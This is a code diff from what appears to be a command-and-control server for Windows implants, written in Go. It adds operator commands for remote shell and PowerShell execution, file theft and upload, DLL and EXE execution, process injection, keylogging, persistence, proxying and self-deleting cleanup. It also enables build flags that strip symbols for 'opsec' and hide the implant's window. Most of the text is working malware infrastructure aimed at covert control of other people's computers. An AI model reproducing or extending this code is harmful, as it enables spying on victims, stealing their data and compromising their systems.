flags.BoolVar(&proxy, "proxy", false, "Add proxy module") + + flags.BoolVar(&auto_persistence, "auto-persistence", false, "Add persistence module and enable it on start-up") + flags.BoolVar(&auto_keylogger, "auto-keylogger", false, "Add keylogger module and enable it on start-up") + + // Parse flags + if err := flags.Parse(flagArgs); err != nil { + operatorConn.Write([]byte("Error parsing flags. Usage: generate [--auto-persistence --auto-keylogger --proxy]\n")) + + } + log.Printf("Connection interval is set to %d seconds", interval) + + if persistence { + log.Printf("Persistence module added") + } + if auto_persistence { + log.Printf("Persistence enabled on start-up") + } + if keylogger { + log.Printf("Keylogger module added") + } + if auto_keylogger { + log.Printf("Keylogger enabled on start-up") + } + if files { + log.Printf("SOCKS5 proxy enabled") + } + + operatorConn.Write([]byte("Trying to generate payload")) + + payloadType := cmdParts[1] + listenerName := cmdParts[2] + GeneratePayload(payloadType, listenerName, interval, delay, persistence, auto_persistence, keylogger, auto_keylogger, proxy, files, operatorConn) + } +} + +// Parse context command (agent tasks) +func ParseOperatorContextCommands(operatorCommand string, operatorID string, operatorConn net.Conn) { + cmdParts, _ := shlex.Split(operatorCommand) + log.Printf("Splited operator command: %q", cmdParts) + + switch { + + case cmdParts[1] == "tasks": + ShowTasks(operatorID, cmdParts) + + case cmdParts[1] == "sleep": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: sleep ")) + return + + } + sleepTimeStr := cmdParts[2] + sleepTime, err := strconv.Atoi(sleepTimeStr) + + if err != nil { + message := fmt.Sprintf("Invalid sleep time: %s. Must be an integer", sleepTimeStr) + operatorConn.Write([]byte(message)) + return + } + if sleepTime < 0 { + message := fmt.Sprintf("Invalid sleep time: %d. Must be a non-negative integer", sleepTime) + operatorConn.Write([]byte(message)) + return + } + SleepAgent(operatorID, cmdParts) + + case cmdParts[1] == "cmd": + if len(cmdParts) < 3 { + operatorConn.Write([]byte("Usage: cmd ")) + return + } + // Join cmd commands and arguments + cmdParts[2] = strings.Join(cmdParts[2:], " ") + RunShell(operatorID, cmdParts) + + case cmdParts[1] == "powershell": + if len(cmdParts) < 3 { + operatorConn.Write([]byte("Usage: powershell ")) + return + } + // Join pwoershell commands and arguments + cmdParts[2] = strings.Join(cmdParts[2:], " ") + RunShell(operatorID, cmdParts) + + case cmdParts[1] == "sysinfo": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: sysinfo")) + return + } + SendSysInfo(operatorID, cmdParts) + + case cmdParts[1] == "files": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: files")) + return + } + SendFiles(operatorID, cmdParts) + + case cmdParts[1] == "runexe": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: runexe ")) + return + } + PrepareModule(operatorID, cmdParts) + + case cmdParts[1] == "rundll": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: rundll ")) + return + } + PrepareModule(operatorID, cmdParts) + + case cmdParts[1] == "inject": + if len(cmdParts) != 4 { + operatorConn.Write([]byte("Usage: inject ")) + return + } + PrepareModule(operatorID, cmdParts) + + case cmdParts[1] == "spawn": + // cmdParts, _ = shlex.Split(operatorCommand) + if len(cmdParts) < 4 || len(cmdParts) > 5 { + operatorConn.Write([]byte("Usage: spawn ")) + return + } + PrepareModule(operatorID, cmdParts) + + case cmdParts[1] == "download": + // cmdParts, _ = shlex.Split(operatorCommand) + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: download \"C:/Users/John/Desktop/file1.txt\"\n download \"C:/Program Files/folder1\"")) + return + } + operatorConn.Write([]byte(fmt.Sprintf("Downloading file %s", cmdParts[2]))) + DownloadFile(operatorID, cmdParts) + + case cmdParts[1] == "upload": + // cmdParts, _ = shlex.Split(operatorCommand) + if len(cmdParts) < 3 { + operatorConn.Write([]byte("Usage: upload \"/home/user/file1.txt\" \"C:/Users/John/Desktop/file1.txt\"")) + return + } + UploadFile(operatorID, cmdParts) + + case cmdParts[1] == "cd": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: cd ")) + return + } + HandleNavigation(operatorID, cmdParts) + + case cmdParts[1] == "ls" || cmdParts[1] == "dir" || cmdParts[1] == "pwd": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: ls / dir / pwd")) + return + } + ShowDirectory(operatorID, cmdParts) + + case cmdParts[1] == "ps": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: ps")) + return + } + GetProcesses(operatorID, cmdParts) + + case cmdParts[1] == "keylogger": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: keylogger start|stop|report")) + return + } + // operatorConn.Write([]byte(fmt.Sprintf("Trying to %s keylogger on %s", cmdParts[1], cmdParts[0]))) + Keylogger(operatorID, cmdParts) + + case cmdParts[1] == "persistence": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: persistence add|remove")) + return + } + // operatorConn.Write([]byte(fmt.Sprintf("Checking persistence %s", cmdParts[2]))) + Persistence(operatorID, cmdParts) + + case cmdParts[1] == "proxy": + if len(cmdParts) != 3 { + operatorConn.Write([]byte("Usage: proxy ")) + return + } + // operatorConn.Write([]byte(fmt.Sprintf("Trying to %s proxy on %s", cmdParts[2], cmdParts[0]))) + Proxy(operatorID, cmdParts) + + case cmdParts[1] == "kill": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: kill")) + return + } + // operatorConn.Write([]byte(fmt.Sprintf("Killing agent %s", cmdParts[0]))) + Kill(operatorID, cmdParts) + + case cmdParts[1] == "cleanup": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: cleanup ")) + return + } + // operatorConn.Write([]byte(fmt.Sprintf("Tasking agent %s to clean up and self delete", cmdParts[0]))) + Cleanup(operatorID, cmdParts) + + // Beacon only + case cmdParts[1] == "artifacts": + if len(cmdParts) != 2 { + operatorConn.Write([]byte("Usage: artifacts")) + return + } + operatorConn.Write([]byte(fmt.Sprintf("This command is not supported currently"))) + // operatorConn.Write([]byte(fmt.Sprintf("Trying to get artifacts from beacon %s", cmdParts[0]))) + // GetArtifacts(operatorID, cmdParts) + + default: + operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands")) } } diff --git a/server/payload_generator.go b/server/payload_generator.go index 5047b22..e2ccb3e 100644 --- a/server/payload_generator.go +++ b/server/payload_generator.go @@ -142,10 +142,10 @@ func GeneratePayload(payloadType, listenerName string, conn_interval, startup_de // Compiler flags cflags := []string{ - // "-flto", // optimization, should be both at compile time and link time - // "-Os", // Optimize for size, makes almost no difference - // "-fdata-sections", // Optimize for size - // "-ffunction-sections", // Optimize for size + "-flto", // optimization, should be both at compile time and link time + "-Os", // Optimize for size, makes almost no difference + "-fdata-sections", // Optimize for size + "-ffunction-sections", // Optimize for size "-DTESTING_BUILD=FALSE", // flag for window-less mode and real } @@ -245,15 +245,14 @@ func GeneratePayload(payloadType, listenerName string, conn_interval, startup_de // Base link flags (always needed) linkArgs := append(objectFiles, - // "-flto", // optimization, should be both at compile time and link time - // "-Wl,--gc-sections", // size opt, shoukd be together with -f flags during compile - // "-s", // size opt and opsec (strip symbol/debug info), makes big difference in size - "-lws2_32", + "-flto", // optimization, should be both at compile time and link time + "-Wl,--gc-sections", // size opt, shoukd be together with -f flags during compile + "-s", // size opt and opsec (strip symbol/debug info), makes big difference in size + "-lws2_32", // Winsock "-liphlpapi", - "-lschannel", - // "-lsecur32", - "-lwinhttp", - // "-mwindows", // flag for window-less mode + "-lsecur32", // For SSL (win schannel) + "-lwinhttp", // For HTTPS + "-mwindows", // flag for window-less mode "-o", outputPath) linkCmd := exec.Command("x86_64-w64-mingw32-gcc", linkArgs...) diff --git a/server/task_handler.go b/server/task_handler.go index 722586f..1d2d57a 100644 --- a/server/task_handler.go +++ b/server/task_handler.go @@ -25,6 +25,9 @@ type Task struct { AgentID string Type string Args string + Arg1 string + Arg2 string + Arg3 string Payload []byte OperatorConn net.Conn OperatorID string